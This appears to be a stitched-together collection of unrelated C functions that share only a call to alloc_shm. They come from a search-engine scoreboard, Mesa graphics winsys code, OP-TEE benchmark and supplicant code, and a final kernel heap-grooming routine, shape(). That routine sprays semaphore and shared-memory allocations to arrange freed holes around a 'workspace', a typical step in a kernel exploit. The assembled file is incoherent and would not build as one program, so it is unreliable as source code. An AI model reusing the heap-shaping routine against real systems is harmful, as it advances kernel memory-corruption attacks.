static void alloc_shm_for_scoreboard(int size)
{
g_scoreboard_shm.type = IPC_TYPE_SHM;
g_scoreboard_shm.pathname = NULL;
/* guarantee no shm collision with client.
* NULL pathname means key IPC_PRIVATE.
* see ipc.c->alloc_shm() */
g_scoreboard_shm.pid = SYS5_SCOREBOARD;
g_scoreboard_shm.size = size;
if ( size == 0 ) {
warn("invalid scoreboard size: %d", size);
g_scoreboard_shm.addr = NULL;
}
else if ( alloc_shm(&g_scoreboard_shm) != SUCCESS ) {
// it's critical if error occured while getting shared memory.
// so we exit.
crit("error while allocating shm for scoreboard");
exit(1);
}
#ifdef DEBUG_SCOREBOARD_MEMORY
debug("key file for shared memory:%s",gSoftBotRoot);
debug("shared memory key:%d",g_scoreboard_shm.key);
debug("shared memory shmid:%d",g_scoreboard_shm.id);
debug("shared memory size:%ld",g_scoreboard_shm.size);
#endif
/* memset(NULL) for newly created shm will be done by alloc_shm().
* you should not memset(NULL) if the shm is attached by another process. */
//memset(g_scoreboard_shm.addr, 0x00, size);
}
static struct llvmpipe_displaytarget *
xm_displaytarget_create(struct llvmpipe_winsys *winsys,
enum pipe_format format,
unsigned width, unsigned height,
unsigned alignment,
unsigned *stride)
{
struct xm_displaytarget *xm_dt = CALLOC_STRUCT(xm_displaytarget);
unsigned nblocksx, nblocksy, size;
xm_dt = CALLOC_STRUCT(xm_displaytarget);
if(!xm_dt)
goto no_xm_dt;
xm_dt->format = format;
xm_dt->width = width;
xm_dt->height = height;
pf_get_block(format, &xm_dt->block);
nblocksx = pf_get_nblocksx(&xm_dt->block, width);
nblocksy = pf_get_nblocksy(&xm_dt->block, height);
xm_dt->stride = align(nblocksx * xm_dt->block.size, alignment);
size = xm_dt->stride * nblocksy;
#ifdef USE_XSHM
if (!debug_get_bool_option("XLIB_NO_SHM", FALSE))
{
xm_dt->shminfo.shmid = -1;
xm_dt->shminfo.shmaddr = (char *) -1;
xm_dt->shm = TRUE;
xm_dt->data = alloc_shm(xm_dt, size);
if(!xm_dt->data)
goto no_data;
}
#endif
if(!xm_dt->data) {
xm_dt->data = align_malloc(size, alignment);
if(!xm_dt->data)
goto no_data;
}
*stride = xm_dt->stride;
return (struct llvmpipe_displaytarget *)xm_dt;
no_data:
FREE(xm_dt);
no_xm_dt:
return NULL;
}
static struct pipe_buffer *
xm_surface_buffer_create(struct pipe_winsys *winsys,
unsigned width, unsigned height,
enum pipe_format format,
unsigned usage,
unsigned tex_usage,
unsigned *stride)
{
const unsigned alignment = 64;
struct pipe_format_block block;
unsigned nblocksx, nblocksy, size;
pf_get_block(format, &block);
nblocksx = pf_get_nblocksx(&block, width);
nblocksy = pf_get_nblocksy(&block, height);
*stride = align(nblocksx * block.size, alignment);
size = *stride * nblocksy;
#ifdef USE_XSHM
if (!debug_get_bool_option("XLIB_NO_SHM", FALSE))
{
struct xm_buffer *buffer = CALLOC_STRUCT(xm_buffer);
pipe_reference_init(&buffer->base.reference, 1);
buffer->base.alignment = alignment;
buffer->base.usage = usage;
buffer->base.size = size;
buffer->userBuffer = FALSE;
buffer->shminfo.shmid = -1;
buffer->shminfo.shmaddr = (char *) -1;
buffer->shm = TRUE;
buffer->data = alloc_shm(buffer, size);
if (!buffer->data)
goto out;
return &buffer->base;
out:
if (buffer)
FREE(buffer);
}
#endif
return winsys->buffer_create(winsys, alignment,
usage,
size);
}
/* Hash test: buffer of size byte. Run test n times. */
static void run_test(size_t size, unsigned int n, unsigned int l)
{
uint64_t t;
struct statistics stats;
TEEC_Operation op;
int n0 = n;
alloc_shm(size, algo);
if (!random_in)
memset((uint8_t *)in_shm.buffer + offset, 0, size);
memset(&op, 0, sizeof(op));
op.paramTypes = TEEC_PARAM_TYPES(TEEC_MEMREF_PARTIAL_INPUT,
TEEC_MEMREF_PARTIAL_OUTPUT,
TEEC_VALUE_INPUT, TEEC_NONE);
op.params[0].memref.parent = &in_shm;
op.params[0].memref.offset = 0;
op.params[0].memref.size = size + offset;
op.params[1].memref.parent = &out_shm;
op.params[1].memref.offset = 0;
op.params[1].memref.size = hash_size(algo);
op.params[2].value.a = l;
op.params[2].value.b = offset;
verbose("Starting test: %s, size=%zu bytes, ",
algo_str(algo), size);
verbose("random=%s, ", yesno(random_in));
verbose("unaligned=%s, ", yesno(offset));
verbose("inner loops=%u, loops=%u, warm-up=%u s\n", l, n, warmup);
if (warmup)
do_warmup();
memset(&stats, 0, sizeof(stats));
while (n-- > 0) {
t = run_test_once((uint8_t *)in_shm.buffer + offset, size, &op, l);
update_stats(&stats, t);
if (n % (n0/10) == 0)
vverbose("#");
}
vverbose("\n");
printf("min=%gμs max=%gμs mean=%gμs stddev=%gμs (%gMiB/s)\n",
stats.min/1000, stats.max/1000, stats.m/1000,
stddev(&stats)/1000, mb_per_sec(size, stats.m));
free_shm();
}
static struct sw_displaytarget *
xlib_displaytarget_create(struct sw_winsys *winsys,
unsigned tex_usage,
enum pipe_format format,
unsigned width, unsigned height,
unsigned alignment,
unsigned *stride)
{
struct xlib_displaytarget *xlib_dt;
unsigned nblocksy, size;
xlib_dt = CALLOC_STRUCT(xlib_displaytarget);
if (!xlib_dt)
goto no_xlib_dt;
xlib_dt->display = ((struct xlib_sw_winsys *)winsys)->display;
xlib_dt->format = format;
xlib_dt->width = width;
xlib_dt->height = height;
nblocksy = util_format_get_nblocksy(format, height);
xlib_dt->stride = align(util_format_get_stride(format, width), alignment);
size = xlib_dt->stride * nblocksy;
if (!debug_get_option_xlib_no_shm()) {
xlib_dt->data = alloc_shm(xlib_dt, size);
if (xlib_dt->data) {
xlib_dt->shm = True;
}
}
if (!xlib_dt->data) {
xlib_dt->data = align_malloc(size, alignment);
if (!xlib_dt->data)
goto no_data;
}
*stride = xlib_dt->stride;
return (struct sw_displaytarget *)xlib_dt;
no_data:
FREE(xlib_dt);
no_xlib_dt:
return NULL;
}
static uint32_t process_alloc(struct thread_arg *arg, size_t num_params,
struct tee_ioctl_param *params)
{
struct tee_ioctl_param_value *val;
struct tee_shm *shm;
if (num_params != 1 || get_value(num_params, params, 0, &val))
return TEEC_ERROR_BAD_PARAMETERS;
if (arg->gen_caps & TEE_GEN_CAP_REG_MEM)
shm = register_local_shm(arg->fd, val->b);
else
shm = alloc_shm(arg->fd, val->b);
if (!shm)
return TEEC_ERROR_OUT_OF_MEMORY;
shm->size = val->b;
val->c = shm->id;
push_tshm(shm);
return TEEC_SUCCESS;
}
int shape(size_t *spray_size) {
size_t keys[0x400];
int exec[2];
int sv[2];
char flag;
size_t bytes = 0, tofree = 0;
size_t factor,hole_size;
struct flock fl;
memset(&fl, 0, sizeof(fl));
pid_t pid, wpid;
int status;
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) == -1) {
printf("[*err] socketpair failed\n");
return 1;
}
bytes = spray(1);
if (bytes == (size_t)-1) {
printf("[*err*] bytes < 0, are you root?\n");
return 1;
}
*spray_size = bytes;
hole_size = get_size_factor(*spray_size, &factor);
tofree = hole_size / (bytes / 1) + 1;
printf("[*] allocate holes before the workspace\n");
for (int i = 0; i < 0x400; ++i) {
keys[i] = alloc_sem(0x7000);
}
for (int i = 0; i < 0x20; ++i) {
alloc_sem(0x7000);
}
for (int i = 0; i < 0x2000; ++i) {
alloc_sem(4063);
}
for (int i = 0; i < 0x2000; ++i) {
alloc_sem(3);
}
pid = fork();
if (pid > 0) {
printf("[*] alloc 0xc pages groups, adjust to continuous allocations\n");
bytes = spray(5);
write(sv[1], "p", 1);
read(sv[1], &flag, 1);
} else {
// son
read(sv[0], &flag, 1);
printf("[*] alloc workspace pages\n");
bytes = spray(tofree);
printf("[*] finish allocate workspace allocations\n");
write(sv[0], "p", 1);
}
if (pid > 0) {
printf("[*] allocating (0xc - shm | shm) AFTER the workspace\n");
for (int i = 0; i < 0x100; ++i) {
alloc_sem(4061);
for (int j = 0; j < 0x5; ++j) {
alloc_shm(i * 0x100 + j);
}
}
write(sv[1], "p", 1);
} else {
read(sv[0], &flag, 1);
printf("[*] free middle allocation, creating workspace freed\n");
exit(1);
}
while ((wpid = wait(&status)) > 0);
printf("[*] free prepared holes, create little pages holes before the workspace\n");
for (int i = 0; i < 0x400; ++i) {
free_sem(keys[i]);
}
return 0;
}
